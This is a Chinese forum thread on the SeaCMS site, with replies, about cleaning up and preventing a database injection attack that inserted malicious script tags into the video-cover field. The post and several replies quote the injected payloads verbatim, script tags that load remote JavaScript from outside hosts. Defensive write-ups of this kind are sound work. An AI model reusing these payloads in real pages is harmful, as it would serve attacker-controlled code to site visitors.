『大发网盟』

收益高、结算快、超稳定,直营无中间商差价

『1866资源网』

全网最早的资源,实力雄厚,速度超快,超稳定

『78免费网盘』

永久免费的多媒体转码与云分发平台,无限存储

『209资源网』

全网唯一一家全亚洲服务器加速播放,速度超快

『推荐模板服务商』

海洋CMS官方推荐可信赖模板制作服务商家

★〓★海洋CMS★〓★ 数据库挂马防范及恢复方法(2019.8.8 更新)

nohacks 6月前 8165

*标题:★〓★海洋CMS★〓★ 数据库挂马防范及恢复方法

*链接:https://www.seacms.net/post-update-90557.htm

*版本 :v1.2

*作者:nohacks(nohacks.cn)

*版权:目前只发表在海洋CMS论坛及作者博客,未经作者许可不得转载或做商业用途!

更新记录

   2019.8.2 更新读写分离

前言

        这些日子,不清楚什么状况,海洋CMS貌似被黑客盯上了,针对它的攻击非常频繁,作者虽然也是及时更新,但是在找不出漏洞的情况下,很多站点还是不幸躺枪,包括本文作者的网站,针对这一情况,作者作了大量的研究工作结合网友的经验,特写此文以望给大家解忧,希望我做到了,谢谢大家!

正文:

  目录:

   1. 恢复方法

   2. 防范方法

     2.1  升级到最新版本

     2.2  修改数据库密码

     2.3  删除安装目录

     2.4  数据库的所有数据表引擎转为InnoDB(可略)

     2.5  开启网站防火墙(可略)

     2.6   限制文件权限

     2.7   服务器安装防护软件(可略)

     2.8   限制数据库权限(可略)

     2.9   修改数据库字段结构长度(可略)

    2.10  利用SQL触发器实现安全过滤来防止挂马

     待续。。。

1.  恢复方法

首先了解一下SQL的搜索替换命令,

update [表名] set 字段名 = replace(与前面一样的字段名,'原本内容','想要替换成什么')

检测数据库,发现是在sea_data表,v_pic字段后面插入了下面代码:

"></script<script/**/src=https://www.qiuxiazx.com/data/velists.txt</script><a a="

可以通过查看网页源码("view-source:https://www.xxx.com"),搜索 "<script" 找到代码。

恢复数据方法,执行以下SQL语句:

update sea_data set v_pic = replace(v_pic,'"></script><script/**/src=https://www.qiuxiazx.com/data/velists.txt></script><a a="','')

2. 防范方法

    为了防止再次被入侵,我们必须做好下面措施:

2.1 升级到最新版本

       最新版本一般修复了最新漏洞,需要及时更新。

2.2 修改数据库密码

      修复后一定要修改数据库密码,攻击者可能已经获取数据库密码,修改后记得同步"/data/common.inc.php" 的SQL配置,不然网站无法使用。

2.3  删除安装目录(install)

       攻击者可利用安装目录进行攻击,所以安装完后务必删除。

2.4   数据库的所有数据表引擎转为InnoDB

       将数据库所有数据表引擎转为InnoDB,进一步加强安全性,宝塔-数据库-工具-MYSQL工具箱。

2.5 限制文件权限为只读

       缓存设置为使用redis,设置网站根目录权限为只读权限 555,需要生成时设置 为755,完成后改回。

   

     设置xml及uploads目录的读写权限为755。

      js目录有需要也可设置为755权限,关系到广告生成及修改播放代码。

      data目录下的文件为配置文件,为了安全,系统设置完毕后也设置权限为555,子目录为数据保存或缓存目录可设置为755权限。

2.6. 开启网站防火墙(可略)

       这里只说下宝塔面板的设置,其他请自行查阅。

       网站web服务建议使用nginx,这样可以免费使用其内置的lua防火墙,使用方法是修改配置文件,找到下面的代码:


http
    {
        include       mime.types;
	//include luawaf.conf;


去掉前面的注释符号 , 修改后变为:

http
    {
        include  mime.types;
	include luawaf.conf;


保存配置,然后修改其配置文件"/www/server/nginx/waf/config.lua",修改后如下:

RulePath = "/www/server/panel/vhost/wafconf/"
attacklog = "on"
logdir = "/www/wwwlogs/waf/"
UrlDeny="on"
Redirect="on"
CookieMatch="on"
postMatch="on" 
whiteModule="on" 
black_fileExt={"php","jsp"}
ipWhitelist={"127.0.0.1"}
ipBlocklist={"1.0.0.1"}
CCDeny="on"
CCrate="300/60"

 表示开启所有防护,保存后重启nginx服务生效。

 如果嫌麻烦,可以用收费插件。

2.7 服务器安装防护软件(可略)

      宝塔建议云锁。

2.8. 数据库读写分离(可略)

  2.8.1. 创建数据库只读账户

        宝塔-数据库-管理 -用root账户登陆-账户- 新增用户账户

 登陆信息:

      user name :  使用文本域 ,新用户名

     Host name:      本地    localhost

      密码使用生成密码 记住密码

 全局权限:

     只打钩 SELECT

 其它默认,点执行,然后切换到'数据库'选项卡,选择海洋cms数据表,执行

   然后会再跳到指定数据库权限,也只打钩 SELECT 执行

完成后,点击账户,修改我们刚刚创建的账户,将文本域改为"127.0.0.1" 执行。

这样就创建OK了

 2.8.2 .创建只读配置

    <1> 复制"/data/common.inc.php"并重命名为'data.inc.php'

    <2> 修改"/data/common.inc.php",将其中的"cfg_dbuser"后面引号内的账号修改为我们创建的只读账号,同样将"$cfg_dbpwd"后面引号内的密码修改为刚创建的密码,保存。

 2.8.3.修改数据库调用代码

        打开 "include/common.php",找到代码

//数据库配置文件
require_once(sea_DATA.'/common.inc.php');

修改为:

//数据库配置文件
//require_once(sea_DATA.'/common.inc.php');
//设置允许读写数据库的脚本文件
$filekey=array('config.php','login.php','exit.php','ajax.php','err.php','gbook.php','admin_reslib.php','admin_reslib2.php');
//智能加载
require_once sea_DATA.((preg_match('#.*/(.*?\.php)#i',htmlentities($_SERVER['PHP_SELF']),$ref) && in_array($ref[1],$filekey)) || isset($uip) ? '/data.inc.php':'/common.inc.php');

这样修改后,只有后台,统计,留言, 采集可以更新数据库。

 2.9.修改数据库字段结构长度(可略)

      海洋CMS数据库表"sea_data"字段 "v_pic"原结构长度为255 ,修改为char类型  110 或者 更低,看自己的图片长度而定。

      这样操作后,挂马者添加木马数据时将会因为长度超出数据库结构限制而失败!

2.10  利用SQL触发器实现安全过滤来防止挂马

        使用了这个方法后,"数据库读写分离"的步骤可以省略。

       宝塔-数据库-管理 -用root账户登陆

    选择海洋CMS数据库的sea_data表,选择右上角的触动器,添加触发器

      如下图:



触发器名称:chack

表:sea_data

时机:BEFORG

事件:UPDATE

定义: 

IF 
   INSTR( NEW.v_name,'script')> 0   OR 
   INSTR( NEW.v_pic,'script')> 0    OR
   INSTR( NEW.v_actor,'script')> 0
THEN
  SIGNAL SQLSTATE 'HY000' SET MESSAGE_TEXT = '请勿输入非法字符';
END IF

用户: 默认或为空

点击执行。

我们来测试一下:

update sea_data set v_name = '憨豆特工 script' WHERE v_id=1


==============

正文完  

 2019.8.2  by  nohacks  

测试站点: https://xymov.tv 

待续。。

最后于 2月前 被nohacks编辑 ,原因: 更新 数据库读写分离 修复bug
上传的附件:
最新回复 (67)
  • qkmy 6月前
    0 2
    update sea_data set v_pic = replace(v_pic,'"></script><script/**/src=https://www.qiuxiazx.com/data/velists.txt></script><a a="','')
  • ss1238 6月前
    1 3
    谢谢大神!我感觉这是有些人用心良苦。。。。
  • ss1238 6月前
    0 4
    最近都是这个木马说明了什么?9.2到9.3被挂的特别多。。。大家升级注意
  • 0 5
    居然和我的挂马是同一个代码
  • q5241521 6月前
    0 6
    已按照你的方法测试,已经关掉数据库的锁定状态,3天后刷新结果
  • 0 7
    这样操作之后发现,会员中心不能用充值卡充值了
  • KingVstr 6月前
    0 8
    请问上传的这个附件有用吗
  • nohacks 6月前
    0 9
    lengheima 这样操作之后发现,会员中心不能用充值卡充值了
    官方已处理,升级到最新版即可
  • nohacks 6月前
    0 10
    KingVstr 请问上传的这个附件有用吗
    当然
  • 0 11
    感谢大神!!!
  • oy86866 6月前
    0 12
    加油你是最棒的!
  • winbiz 6月前
    0 13
    除了data及uploads目录还有index.html,top.html,new.html等生成文件为755权限,其它目录都是555吗?
  • nohacks 5月前
    0 14
    winbiz 除了data及uploads目录还有index.html,top.html,new.html等生成文件为755权限,其它目录都是555吗?
    是的
  • pins8 5月前
    0 15
    nohacks 是的
    完蛋 开启了防火墙 海洋搜索没有问题  苹果cms的搜索被拦截了 

    2个站在一个VPS上
  • nohacks 5月前
    0 16

    可以添加url白名单,修改“/www/server/panel/vhost/wafconf/whiteurl”
    例如:zblog 需添加
    ^/zb_users/
    ^/zb_system/

    拦截日志"/www/wwwlogs/waf/里可以查看拦截路径。

  • pins8 5月前
    0 17
    nohacks 可以添加url白名单,修改“/www/server/panel/vhost/wafconf/whiteurl”例如:zblog&nbsp;需添加^/zb_users/^/zb_system/拦 ...

    谢谢 我看看能不能改下苹果的搜索伪静态路径

    word press 后台编辑文章也会被拦截 痛苦

    还是把防火墙关了 太麻烦了

  • nohacks 5月前
    0 18
    pins8 nohacks 可以添加url白名单,修改“/www/server/panel/vhost/wafconf/whiteurl”例如:zblog&amp;n ...
    postMatch="off" 

    可以关闭post保护或使用路径白名单
  • ltlt999 5月前
    0 19
    这次挂马事件可以百分百肯定与search.php有关,我把这个文件里代码全部删除,3天没有再被挂马。
  • woshiren 5月前
    0 20
    $_SERVER['PHP_SELF']这个变量是有bug的,楼主代码有问题啊!search.php后面跟参数你那个判断就失效了,一样会加载有写入权限的文件,所以改良代码:
    preg_match('/\/(.*?)\./',$_SERVER['PHP_SELF'],$ref);$refx=$ref[1].'.php';
    if($refx == "search.php"){
    require_once(sea_DATA.'/data.inc.php');
    }else{
    require_once(sea_DATA.'/common.inc.php');
    }
  • nohacks 5月前
    0 21
    woshiren $_SERVER['PHP_SELF']这个变量是有bug的,楼主代码有问题啊!search.php后面跟参数你那个判断就失效了,一样会加载有写入权限的文件,所以改良代码: preg_match(' ...
    谢谢反馈,已修复。
  • nohacks 5月前
    0 22
    ltlt999 这次挂马事件可以百分百肯定与search.php有关,我把这个文件里代码全部删除,3天没有再被挂马。
    哦 ,那么这个方案应该能解决这个问题
  • 1563920 5月前
    0 23
    首先感谢楼主的分享。
    我在 系统:CentOS Linux   宝塔控制面板  用数据库读写分离办法   搜素电影时候提示 Error infos: seacms错误警告:连接数据库失败,可能数据库密码不对或数据库服务器出错!
    但我本机 Windows系统  phpstudy 搭建测试没有问题。
    请问下用宝塔控制面板的是不是还需要做其他的操作,创建用户的时候。
  • nohacks 5月前
    0 24
    1563920 首先感谢楼主的分享。 我在 系统:CentOS Linux 宝塔控制面板 用数据库读写分离办法 搜素电影时候提示 Error infos: seacms错误警告:连接数据库失败,可能数据库 ...
    我测试站和你环境一样,测试无问题,没有什么特殊操作
    检查下操作步骤吧,估计是只读账户配置问题
  • nohacks 5月前
    0 25

    呵呵,大神什么的不敢当啊,谢谢支持,感同身受,我也是受害者,只希望能解决问题。

  • yeah9898 5月前
    0 26
    nohacks,不是搜索文件,刚看你站你又被挂了....
  • 0 27
    update sea_data set v_pic = replace(v_pic,'"></script><script/**/src=https://www.qiuxiazx.com/data/velists.txt></script><a a="','')
    请问这个代码如何在添加一个网址 就是如何一个代码同时替换多个网址
  • 0 28
    感谢
  • nohacks 5月前
    0 29
    wujin1123 update sea_data set v_pic = replace(v_pic,'">
    可以分2次执行,这个是搜索替换
  • nohacks 5月前
    0 30
    yeah9898 nohacks,不是搜索文件,刚看你站你又被挂了....
    是被挂了,特别烦,看来只能允许 入库用 可写admin_reslib.php或admin_reslib2.php
  • 0 31
    nohacks 可以分2次执行,这个是搜索替换
    不能一个代码整合吗
  • nohacks 5月前
    0 32
    注意这个命令:
    update [表名] set 字段名 = replace(与前面一样的字段名,'原本内容','想要替换成什么')

    你要搜索的内容是在同一字段内吗?'原本内容' 可以是多个网址,任意内容
  • 0 33
    同一字段內容
    update sea_data set v_pic = replace(v_pic,'"></script><script/**/src=https://www.77kp.me/data/admin/data.txt></script><a a="','')
    update sea_data set v_pic = replace
    (v_pic,'"></script><script/**/src=https://gitee.com/helensb123qaq/123/raw/master/velist.txt></script><a a="','')
    这两个代码怎么才能变成一个并且可以替换内容
  • nohacks 5月前
    0 34

    好奇怪,既然是同一字段,你把数据库除图片外多出的内容替换就可以,不管几个网址,你贴个被挂的字段内容看看

  • nohacks 5月前
    0 35
    wujin1123 我这个是软件自动替换的 软件是每隔几分钟就会帮我替换一次 所以我想整合多个网址成为一个代码   挂马的人会利用多个网址进行挂 所以软件无法用其它代码替换

    这个是支持用正则的

    update sea_data set v_pic = replace_replace
    (v_pic,'".*$','')

  • 0 36
    nohacks wujin1123 我这个是软件自动替换的 软件是每隔几分钟就会帮我替换一次 所以我想整合多个网址成为一个代码 &nbsp; 挂马的人会利用多个网址进行挂 ...
    好的谢谢
  • 0 37
    nohacks 好奇怪,既然是同一字段,你把数据库除图片外多出的内容替换就可以,不管几个网址,你贴个被挂的字段内容看看
    谢谢
  • nohacks 5月前
    0 38
    wujin1123 谢谢
    貌似不行 ,不支持
  • 0 39
    特别感谢我已经找到解决方案了
  • yeah9898 5月前
    0 40
    9.8的还会挂吗?
  • nohacks 5月前
    0 41
    多多 https://www.hukandy.com/ https://www.dieka123.com/ https://www.guojuren.com/ https://www.726ys.co ...
    测试站 也没有被挂
  • nohacks 5月前
    0 42
    多多 那完蛋了,他不挂你的了  挂我们的,你可以解决。。。还挺聪明的 这个垃圾黑帽

    不是这个的原因,挂马应该是脚本全自动扫描的。

    你升级了9.8版本吗?貌似解决了被挂问题,不行就只给自动入库数据库可写权限。

    现在测试站是9.8 + 搜索 数据库只读权限 + 根目录555权限

  • 0 43
    支持
  • nohacks 2月前
    0 44
    多多 你站又被挂马了 速度解决。。
    谢谢反馈,已修复
  • nohacks 2月前
    0 45
    多多 没想到你也没搞定,我用的是之前那个大神的版本 9.8版本 至今没被挂。
    这个是最新漏洞
  • wusihao 2月前
    0 46
    不是吧?现在还能挂?不是已经修复了吗
  • nohacks 2月前
    0 47
    更新了下,对显示函数过滤,使挂马失效!
  • 0 48
    说明前几天我说的方法还是有效滴
  • nohacks 2月前
    0 49
    多多 你都一直没有搞定你的网站,,,哎!

    我网站现在没问题啊,你手机访问看到的广告是网站自有的广告或者需要更新浏览器缓存。

    最后于 2月前 被nohacks编辑 ,原因:
  • zhq13 2月前
    0 50
    现在挂马挂在v_name下的,看来黑手已经挂红了眼。
返回
发新帖